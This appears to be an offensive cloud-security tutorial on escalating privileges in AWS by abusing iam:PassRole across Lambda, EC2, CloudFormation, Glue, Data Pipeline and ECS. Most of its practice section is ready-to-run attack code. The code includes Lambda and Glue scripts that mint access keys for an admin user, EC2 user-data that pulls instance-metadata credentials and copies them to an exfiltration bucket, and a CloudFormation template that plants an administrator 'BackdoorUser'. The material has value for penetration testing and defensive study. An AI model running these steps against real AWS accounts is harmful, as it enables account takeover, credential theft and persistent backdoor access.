PassRole & Service Principals
AWS IAM: PassRole & Service Principals
Theory
The iam:PassRole permission is a critical and often misunderstood control in AWS. Unlike standard IAM permissions that let you perform actions directly, PassRole allows you to delegate permissions to an AWS service. It enables you to attach an IAM role to a service (e.g., EC2, Lambda), which then assumes that role and inherits all its permissions, making it a potential privilege escalation vector.
When launching services like EC2, Lambda, or ECS, you can specify a role (instance profile or execution role) that grants access to other AWS resources. For example, an EC2 instance with an S3-access role allows applications on that instance to interact with S3. To do this, you need both:
- Permission to create the service (e.g.,
ec2:RunInstances,lambda:CreateFunction) - Permission to pass the role (
iam:PassRole)
PassRole exists to prevent privilege escalation. Without it, a user with service creation permissions could attach a highly privileged role (e.g., admin), gain access via the service, and take over the account. However, if PassRole itself is too broadly granted, it becomes the escalation path.
Scope matters:
- Dangerous:
iam:PassRolewithResource: "*"→ can pass any role to any service - Safer: Restrict to specific role ARNs
- Safer +: Add conditions like
iam:PassedToServiceto limit which services can receive the role (e.g., only Lambda)
In short, iam:PassRole is a guardrail but misconfigured, it becomes the vulnerability.
Service Principals
Service principals are identifiers that represent AWS services in IAM trust policies. When an IAM role is created, its trust policy defines which principals can assume it. For service roles, this means specifying an AWS service (e.g., lambda.amazonaws.com, ec2.amazonaws.com) instead of a user or another role.
A typical service trust policy looks like this:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}]
}This allows the Lambda service to assume the role. When a Lambda function is created with this role, AWS automatically assumes it and uses its permissions during execution. The function can then perform any գործող actions allowed by the role (e.g., accessing DynamoDB or writing logs).
Each AWS service has its own service principal. Common examples include:
ec2.amazonaws.com→ EC2 instanceslambda.amazonaws.com→ Lambda functionsecs-tasks.amazonaws.com→ ECS taskscloudformation.amazonaws.com→ CloudFormationglue.amazonaws.com→ Glue jobscodebuild.amazonaws.com→ CodeBuild
From an offensive perspective, service principals define where a role can be used. If a role trusts lambda.amazonaws.com, it can be passed to Lambda; if it trusts ec2.amazonaws.com, it can be attached to EC2. By enumerating roles and their trust policies, you can map which services are viable for exploitation when you have iam:PassRole, and identify privilege escalation paths accordingly.
Instance Metadata Service and Service Credentials
When an AWS service assumes a role, it receives temporary credentials similar to those issued via sts:AssumeRole. The key difference is how those credentials are exposed—each service provides them through its own mechanism rather than returning them directly via an API.
For EC2, credentials are delivered through the Instance Metadata Service (IMDS) at 169.254.169.254. When an instance is launched with a role, AWS automatically generates temporary credentials and exposes them at:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAMEThese include:
AccessKeyId(starts withASIA)SecretAccessKeySessionTokenExpiration
They are automatically rotated, ensuring continuous access while the instance is running.
For Lambda, credentials are injected directly into the runtime via environment variables:
AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEYAWS_SESSION_TOKEN
The AWS SDK automatically uses these, so any API call made from the function implicitly uses the function’s execution role.
For ECS tasks, credentials are exposed via a task-specific metadata endpoint. The URL is provided in:
AWS_CONTAINER_CREDENTIALS_RELATIVE_URIQuerying this endpoint returns the same type of temporary credentials, usable directly with the AWS SDK. Understanding these delivery paths is key to leveraging iam:PassRole: once a role is attached to a service, retrieving its credentials allows you to operate with that role’s permissions.
Practice
Reconnaissance
The first step in exploiting PassRole is identifying which roles exist in the account and which services they trust. Roles with service principal trust policies are your targets for PassRole privilege escalation.
Enumerating roles and their trust policies requires listing all roles and retrieving each role's trust policy document to analyze which services can assume it.
# List all IAM roles
aws iam list-roles
# Get detailed information about a specific role including trust policy
aws iam get-role --role-name TargetRole
# Extract just the trust policy
aws iam get-role --role-name TargetRole --query 'Role.AssumeRolePolicyDocument'
# Enumerate all roles and their trust policies (requires jq)
aws iam list-roles --query 'Roles[*].[RoleName,AssumeRolePolicyDocument]' --output json | jq -r '.[] | "\(.[0]): \(.[1].Statement[0].Principal.Service // "No service principal")"'
# Find roles that trust Lambda service
aws iam list-roles --output json | jq -r '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.Service? | contains("lambda.amazonaws.com")) | .RoleName'
# Find roles that trust EC2 service
aws iam list-roles --output json | jq -r '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.Service? | contains("ec2.amazonaws.com")) | .RoleName'
# Find roles that trust any service (not users or roles)
aws iam list-roles --output json | jq -r '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.Service) | .RoleName'Look for roles with service principal trust policies for services you can interact with, especially Lambda, EC2, ECS, CloudFormation, Glue, and Data Pipeline.
For each promising role, check what permissions it has by listing its attached policies and inline policies to determine if escalating to that role would be valuable.
Identifying PassRole Permissions
Once you've identified target roles with service trust policies, you need to determine whether you have the iam:PassRole permission required to pass those roles to services.
Checking for PassRole permissions requires enumerating all policies attached to your current identity and searching for PassRole statements.
# List all policies attached to your user
aws iam list-attached-user-policies --user-name your-user
# List all groups you belong to
aws iam list-groups-for-user --user-name your-user
# For each group, list attached policies
aws iam list-attached-group-policies --group-name group-name
# Get specific policy documents and check for PassRole
aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/policy-name --version-id v1
# Search for PassRole in policy documents (manual review required)
# Look for statements with "Action": "iam:PassRole" or "Action": "*"
# Check the Resource field to see which roles you can pass
# Check for iam:PassedToService conditions that restrict which servicesPassRole permissions can be granted in several ways:
iam:PassRolewithResource: "*"allows passing any role,iam:PassRolewith specific role ARNs limits which roles you can pass,- and conditions using
iam:PassedToServicerestrict which services can receive roles.
Understanding the scope of your PassRole permission is crucial for identifying valid escalation paths.
The below sections will cover common PassRole attack vectors for different instances.
However, for detailed service-specific exploitation techniques, see the dedicated service pages.
PassRole to Lambda - Code Execution
Lambda functions provide the most direct and powerful privilege escalation path when combined with PassRole. You can create a Lambda function with arbitrary code, pass a privileged role to the function, and then invoke the function to execute your code with the role's permissions.
The privilege escalation involves creating a Lambda function, passing a privileged role as the execution role, and then invoking the function with code that leverages the role's permissions.
# First, create a simple Lambda function that lists IAM users (requires admin permissions)
# Create a deployment package
cat > lambda_function.py << 'EOF'
import boto3
import json
def lambda_handler(event, context):
iam = boto3.client('iam')
users = iam.list_users()
return {
'statusCode': 200,
'body': json.dumps(users, default=str)
}
EOF
zip function.zip lambda_function.py
# Create the Lambda function and pass the privileged role
aws lambda create-function \
--function-name privilege-escalation \
--runtime python3.9 \
--role arn:aws:iam::123456789012:role/AdminRole \
--handler lambda_function.lambda_handler \
--zip-file fileb://function.zip
# Invoke the function to execute your code with the role's permissions
aws lambda invoke --function-name privilege-escalation output.txt
# View the output
cat output.txtThis basic example lists IAM users, but you can modify the function code to perform any action allowed by the role's permissions. For maximum flexibility, create a function that accepts commands through the event parameter and executes them dynamically. You could exfiltrate data from S3, create access keys for users, modify security groups, or perform any other privileged operation.
An other example below, where we create a new access key for an administrator user and returns the credentials
# Example: Create access key for privilege escalation
cat > lambda_function.py << 'EOF'
import boto3
import json
def lambda_handler(event, context):
iam = boto3.client('iam')
# Create access key for admin user
response = iam.create_access_key(UserName='admin-user')
return {
'statusCode': 200,
'body': json.dumps({
'AccessKeyId': response['AccessKey']['AccessKeyId'],
'SecretAccessKey': response['AccessKey']['SecretAccessKey']
})
}
EOF
zip function.zip lambda_function.py
aws lambda create-function \
--function-name create-admin-key \
--runtime python3.9 \
--role arn:aws:iam::123456789012:role/AdminRole \
--handler lambda_function.lambda_handler \
--zip-file fileb://function.zip
aws lambda invoke --function-name create-admin-key output.txt
cat output.txtPassRole to EC2 - Instance Metadata Access
EC2 instances provide a slightly slower but still effective privilege escalation path. You launch an instance with a privileged role attached via an instance profile, then access the instance to retrieve the role's temporary credentials from the Instance Metadata Service.
The escalation involves creating an instance profile, adding the privileged role to the profile, launching an EC2 instance with the profile, and then accessing the instance to retrieve credentials.
# Create an instance profile (container for roles for EC2)
aws iam create-instance-profile --instance-profile-name privilege-escalation-profile
# Add the privileged role to the instance profile
aws iam add-role-to-instance-profile \
--instance-profile-name privilege-escalation-profile \
--role-name AdminRole
# Launch an EC2 instance with the instance profile
# You'll need to specify an AMI ID, instance type, and optionally a key pair for SSH
aws ec2 run-instances \
--image-id ami-0c55b159cbfafe1f0 \
--instance-type t2.micro \
--iam-instance-profile Name=privilege-escalation-profile \
--user-data '#!/bin/bash
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole > /tmp/credentials.txt
aws s3 cp /tmp/credentials.txt s3://exfiltration-bucket/credentials.txt'
# Alternatively, if you have SSH access via a key pair:
aws ec2 run-instances \
--image-id ami-0c55b159cbfafe1f0 \
--instance-type t2.micro \
--key-name your-key-pair \
--iam-instance-profile Name=privilege-escalation-profile
# Wait for instance to launch, then SSH in
ssh -i your-key.pem ec2-user@instance-public-ip
# From inside the instance, retrieve the role credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
# Use the credentials with AWS CLI
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Now you can execute commands with the role's permissions
aws iam list-usersThis method is more complex than Lambda because it requires waiting for the instance to launch, potentially configuring networking and security groups for SSH access, and manually retrieving credentials. However, it's useful when Lambda is not available or when you want to maintain persistent access to the credentials (the instance keeps receiving refreshed credentials from IMDS as long as it runs).
For faster access without SSH, use user data scripts to exfiltrate the credentials automatically when the instance boots. The user data script can retrieve credentials from IMDS and send them to an S3 bucket, an external server, or execute actions directly using the credentials.
PassRole to CloudFormation - Stack Execution
CloudFormation provides a unique privilege escalation vector because CloudFormation stacks can create, modify, and delete arbitrary AWS resources. By passing a privileged role to a CloudFormation stack, you can create resources that wouldn't normally be allowed by your permissions.
CloudFormation stacks execute with the permissions of the passed role, not your own permissions. This means even if you don't have iam:CreateUser or iam:AttachUserPolicy, the CloudFormation stack can create users and attach policies because the role you passed has those permissions.
The stack essentially acts as a privileged automation tool that executes whatever resource definitions you provide in the template.
# Create a CloudFormation template that creates an IAM user with admin access
cat > template.yaml << 'EOF'
AWSTemplateFormatVersion: '2010-09-09'
Resources:
BackdoorUser:
Type: AWS::IAM::User
Properties:
UserName: cloudformation-backdoor
ManagedPolicyArns:
- arn:aws:iam::aws:policy/AdministratorAccess
BackdoorAccessKey:
Type: AWS::IAM::AccessKey
Properties:
UserName: !Ref BackdoorUser
Outputs:
AccessKeyId:
Value: !Ref BackdoorAccessKey
SecretAccessKey:
Value: !GetAtt BackdoorAccessKey.SecretAccessKey
EOF
# Create a CloudFormation stack with the privileged role
aws cloudformation create-stack \
--stack-name privilege-escalation \
--template-body file://template.yaml \
--role-arn arn:aws:iam::123456789012:role/AdminRole \
--capabilities CAPABILITY_IAM
# Wait for the stack to complete
aws cloudformation wait stack-create-complete --stack-name privilege-escalation
# Retrieve the outputs (access key credentials)
aws cloudformation describe-stacks --stack-name privilege-escalation --query 'Stacks[0].Outputs'PassRole to Glue - Job Execution
AWS Glue jobs can execute arbitrary Python or Scala code with permissions from a passed role. While less commonly known than Lambda or EC2, Glue provides another code execution path for privilege escalation.
Glue jobs run in a managed environment and can access AWS services using the role you pass. The output appears in CloudWatch Logs, so you can exfiltrate data or credentials through log messages, or have the script directly perform actions like creating access keys or modifying resources.
# Create a simple Glue job script that lists IAM users
cat > glue_script.py << 'EOF'
import boto3
import sys
from awsglue.utils import getResolvedOptions
iam = boto3.client('iam')
users = iam.list_users()
print("IAM Users:", users)
# Create access key for privilege escalation
response = iam.create_access_key(UserName='admin-user')
print("AccessKeyId:", response['AccessKey']['AccessKeyId'])
print("SecretAccessKey:", response['AccessKey']['SecretAccessKey'])
EOF
# Upload the script to S3
aws s3 cp glue_script.py s3://your-bucket/glue_script.py
# Create a Glue job with the privileged role
aws glue create-job \
--name privilege-escalation \
--role arn:aws:iam::123456789012:role/AdminRole \
--command "Name=glueetl,ScriptLocation=s3://your-bucket/glue_script.py,PythonVersion=3" \
--glue-version "3.0"
# Start the job run
aws glue start-job-run --job-name privilege-escalation
# Get the job run status and logs
aws glue get-job-run --job-name privilege-escalation --run-id jr_...
# Check CloudWatch Logs for the outputPassRole to Data Pipeline - Custom Activities
AWS Data Pipeline can execute arbitrary shell commands through custom activities, providing another code execution path when you can pass roles to the datapipeline service.
Data Pipeline is less commonly used than Lambda or EC2, which may make it less monitored for suspicious activity. However, it requires more setup and S3 buckets for storing outputs, making it slightly more complex than direct Lambda execution.
# Create a Data Pipeline definition with a custom shell activity
cat > pipeline_definition.json << 'EOF'
{
"objects": [
{
"id": "Default",
"scheduleType": "ONDEMAND",
"name": "Default"
},
{
"id": "PrivilegeEscalation",
"type": "ShellCommandActivity",
"name": "PrivilegeEscalation",
"command": "aws iam create-access-key --user-name admin-user > /tmp/credentials.txt && aws s3 cp /tmp/credentials.txt s3://exfiltration-bucket/"
}
]
}
EOF
# Create the pipeline with the privileged role
aws datapipeline create-pipeline --name privilege-escalation --unique-id priv-esc-001
# Put the pipeline definition
aws datapipeline put-pipeline-definition \
--pipeline-id df-... \
--pipeline-definition file://pipeline_definition.json \
--parameter-values myRoleArn=arn:aws:iam::123456789012:role/AdminRole
# Activate the pipeline
aws datapipeline activate-pipeline --pipeline-id df-...
# The shell command will execute with the role's permissionsPassRole to ECS - Container Execution
ECS tasks can run containers with arbitrary code, using permissions from a passed task execution role. This provides a containerized environment for privilege escalation.
ECS tasks provide a containerized environment where you can run any Docker image with commands that leverage the passed role's permissions. The task role grants permissions to the container, while the execution role grants permissions to the ECS service itself to pull images and write logs.
# Create a task definition with a privileged role
cat > task_definition.json << 'EOF'
{
"family": "privilege-escalation",
"taskRoleArn": "arn:aws:iam::123456789012:role/AdminRole",
"executionRoleArn": "arn:aws:iam::123456789012:role/ecsTaskExecutionRole",
"networkMode": "awsvpc",
"containerDefinitions": [
{
"name": "privilege-container",
"image": "amazon/aws-cli:latest",
"command": [
"sh", "-c",
"aws iam create-access-key --user-name admin-user && sleep 3600"
],
"essential": true
}
],
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512"
}
EOF
# Register the task definition
aws ecs register-task-definition --cli-input-json file://task_definition.json
# Run the task in a Fargate cluster
aws ecs run-task \
--cluster default \
--task-definition privilege-escalation \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[subnet-12345],securityGroups=[sg-12345],assignPublicIp=ENABLED}"
# Check the task logs in CloudWatch
aws logs tail /ecs/privilege-escalation --follow